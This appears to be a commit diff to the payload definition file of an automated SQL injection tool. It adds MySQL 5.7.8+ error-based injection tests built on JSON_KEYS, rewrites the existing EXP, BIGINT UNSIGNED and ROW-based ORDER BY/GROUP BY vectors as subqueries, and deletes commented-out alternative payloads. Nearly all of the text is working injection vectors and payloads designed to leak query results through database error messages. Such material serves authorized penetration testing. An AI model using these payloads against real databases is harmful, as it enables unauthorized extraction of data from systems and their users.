|
189 | 189 | </details> |
190 | 190 | </test> |
191 | 191 |
|
| 192 | + <test> |
| 193 | + <title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title> |
| 194 | + <stype>2</stype> |
| 195 | + <level>5</level> |
| 196 | + <risk>1</risk> |
| 197 | + <clause>1,2,3,9</clause> |
| 198 | + <where>1</where> |
| 199 | + <vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector> |
| 200 | + <request> |
| 201 | + <payload>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload> |
| 202 | + </request> |
| 203 | + <response> |
| 204 | + <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
| 205 | + </response> |
| 206 | + <details> |
| 207 | + <dbms>MySQL</dbms> |
| 208 | + <dbms_version>>= 5.7.8</dbms_version> |
| 209 | + </details> |
| 210 | + </test> |
| 211 | + |
| 212 | + <test> |
| 213 | + <!-- It does not work against ORDER BY or GROUP BY clause --> |
| 214 | + <title>MySQL >= 5.7.8 OR error-based - WHERE, HAVING clause (JSON_KEYS)</title> |
| 215 | + <stype>2</stype> |
| 216 | + <level>5</level> |
| 217 | + <risk>3</risk> |
| 218 | + <clause>1,9</clause> |
| 219 | + <where>1</where> |
| 220 | + <vector>OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector> |
| 221 | + <request> |
| 222 | + <payload>OR JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload> |
| 223 | + </request> |
| 224 | + <response> |
| 225 | + <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
| 226 | + </response> |
| 227 | + <details> |
| 228 | + <dbms>MySQL</dbms> |
| 229 | + <dbms_version>>= 5.7.8</dbms_version> |
| 230 | + </details> |
| 231 | + </test> |
| 232 | + |
192 | 233 | <test> |
193 | 234 | <title>MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)</title> |
194 | 235 | <stype>2</stype> |
|
784 | 825 | </details> |
785 | 826 | </test> |
786 | 827 |
|
| 828 | + <test> |
| 829 | + <title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title> |
| 830 | + <stype>2</stype> |
| 831 | + <level>5</level> |
| 832 | + <risk>1</risk> |
| 833 | + <clause>1,2,3,9</clause> |
| 834 | + <where>3</where> |
| 835 | + <vector>JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector> |
| 836 | + <request> |
| 837 | + <payload>JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload> |
| 838 | + </request> |
| 839 | + <response> |
| 840 | + <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
| 841 | + </response> |
| 842 | + <details> |
| 843 | + <dbms>MySQL</dbms> |
| 844 | + <dbms_version>>= 5.7.8</dbms_version> |
| 845 | + </details> |
| 846 | + </test> |
| 847 | + |
787 | 848 | <test> |
788 | 849 | <title>MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)</title> |
789 | 850 | <stype>2</stype> |
|
937 | 998 | <where>1</where> |
938 | 999 | <vector>,(SELECT 1 FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</vector> |
939 | 1000 | <request> |
940 | | - <!-- These work as good as ELT(), but are longer |
941 | | - <payload>,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload> |
942 | | - <payload>,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload> |
943 | | - --> |
944 | 1001 | <payload>,(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)</payload> |
945 | 1002 | </request> |
946 | 1003 | <response> |
|
961 | 1018 | <where>1</where> |
962 | 1019 | <vector>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector> |
963 | 1020 | <request> |
964 | | - <!-- These work as good as ELT(), but are longer |
965 | | - <payload>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'))</payload> |
966 | | - <payload>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> |
967 | | - --> |
968 | 1021 | <payload>,EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload> |
969 | 1022 | </request> |
970 | 1023 | <response> |
|
985 | 1038 | <where>1</where> |
986 | 1039 | <vector>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])</vector> |
987 | 1040 | <request> |
988 | | - <!-- These work as good as ELT(), but are longer |
989 | | - <payload>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]'),[RANDNUM1])</payload> |
990 | | - <payload>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload> |
991 | | - --> |
992 | 1041 | <payload>,UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM1])</payload> |
993 | 1042 | </request> |
994 | 1043 | <response> |
|
1007 | 1056 | <risk>1</risk> |
1008 | 1057 | <clause>2,3</clause> |
1009 | 1058 | <where>1</where> |
1010 | | - <vector>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))</vector> |
| 1059 | + <vector>,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)))s)</vector> |
1011 | 1060 | <request> |
1012 | | - <payload>,EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x))</payload> |
| 1061 | + <payload>,(SELECT [RANDNUM] FROM (SELECT EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)))s)</payload> |
1013 | 1062 | </request> |
1014 | 1063 | <response> |
1015 | 1064 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
|
1020 | 1069 | </details> |
1021 | 1070 | </test> |
1022 | 1071 |
|
| 1072 | + <test> |
| 1073 | + <title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title> |
| 1074 | + <stype>2</stype> |
| 1075 | + <level>5</level> |
| 1076 | + <risk>1</risk> |
| 1077 | + <clause>2,3</clause> |
| 1078 | + <where>1</where> |
| 1079 | + <vector>,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8))))x)</vector> |
| 1080 | + <request> |
| 1081 | + <payload>,(SELECT [RANDNUM] FROM (SELECT JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8))))x)</payload> |
| 1082 | + </request> |
| 1083 | + <response> |
| 1084 | + <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
| 1085 | + </response> |
| 1086 | + <details> |
| 1087 | + <dbms>MySQL</dbms> |
| 1088 | + <dbms_version>>= 5.7.8</dbms_version> |
| 1089 | + </details> |
| 1090 | + </test> |
| 1091 | + |
1023 | 1092 | <test> |
1024 | 1093 | <title>MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)</title> |
1025 | 1094 | <stype>2</stype> |
1026 | 1095 | <level>5</level> |
1027 | 1096 | <risk>1</risk> |
1028 | 1097 | <clause>2,3</clause> |
1029 | 1098 | <where>1</where> |
1030 | | - <vector>,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</vector> |
| 1099 | + <vector>,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)</vector> |
1031 | 1100 | <request> |
1032 | | - <!-- These work as good as ELT(), but are longer |
1033 | | - <payload>,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
1034 | | - <payload>,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
1035 | | - --> |
1036 | | - <payload>,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))</payload> |
| 1101 | + <payload>,(SELECT [RANDNUM] FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))x)</payload> |
1037 | 1102 | </request> |
1038 | 1103 | <response> |
1039 | 1104 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
|
1051 | 1116 | <risk>1</risk> |
1052 | 1117 | <clause>2,3</clause> |
1053 | 1118 | <where>1</where> |
1054 | | - <vector>,ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</vector> |
| 1119 | + <vector>,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)</vector> |
1055 | 1120 | <request> |
1056 | | - <!-- These work as good as ELT(), but are longer |
1057 | | - <payload>,ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload> |
1058 | | - <payload>,ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload> |
1059 | | - --> |
1060 | | - <payload>,ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)</payload> |
| 1121 | + <payload>,(SELECT [RANDNUM] FROM (SELECT ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x))s)</payload> |
1061 | 1122 | </request> |
1062 | 1123 | <response> |
1063 | 1124 | <grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep> |
|
0 commit comments